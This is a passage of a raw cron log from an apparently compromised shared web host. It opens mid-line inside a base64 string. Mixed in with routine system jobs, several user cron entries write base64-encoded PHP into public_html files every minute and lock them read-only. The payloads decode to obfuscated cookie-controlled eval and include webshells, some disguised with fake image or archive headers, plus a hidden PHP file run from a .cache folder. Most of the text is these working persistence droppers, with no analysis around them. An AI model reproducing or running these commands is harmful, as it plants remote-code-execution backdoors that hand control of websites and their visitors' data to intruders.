Jlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:02:02 medusa CROND[13461]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 11:03:02 medusa CROND[15094]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 11:03:02 medusa CROND[15095]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:03:02 medusa CROND[15096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:03:02 medusa CROND[15097]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:03:02 medusa CROND[15098]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:03:02 medusa CROND[15099]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:03:02 medusa CROND[15100]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:03:02 medusa CROND[15102]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:03:02 medusa CROND[15104]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:03:02 medusa CROND[15101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:03:02 medusa CROND[15108]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:03:02 medusa CROND[15110]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:04:02 medusa CROND[16813]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:04:02 medusa CROND[16814]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:04:02 medusa CROND[16815]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:04:02 medusa CROND[16816]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 11:04:02 medusa CROND[16817]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:04:02 medusa CROND[16818]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:04:02 medusa CROND[16819]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:04:02 medusa CROND[16820]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:04:02 medusa CROND[16821]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:04:02 medusa CROND[16823]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:04:02 medusa CROND[16825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:04:02 medusa CROND[16837]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:04:02 medusa CROND[16838]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:05:02 medusa CROND[18299]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:05:02 medusa CROND[18300]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 11:05:02 medusa CROND[18301]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 11:05:02 medusa CROND[18302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:05:02 medusa CROND[18303]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 11:05:02 medusa CROND[18304]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
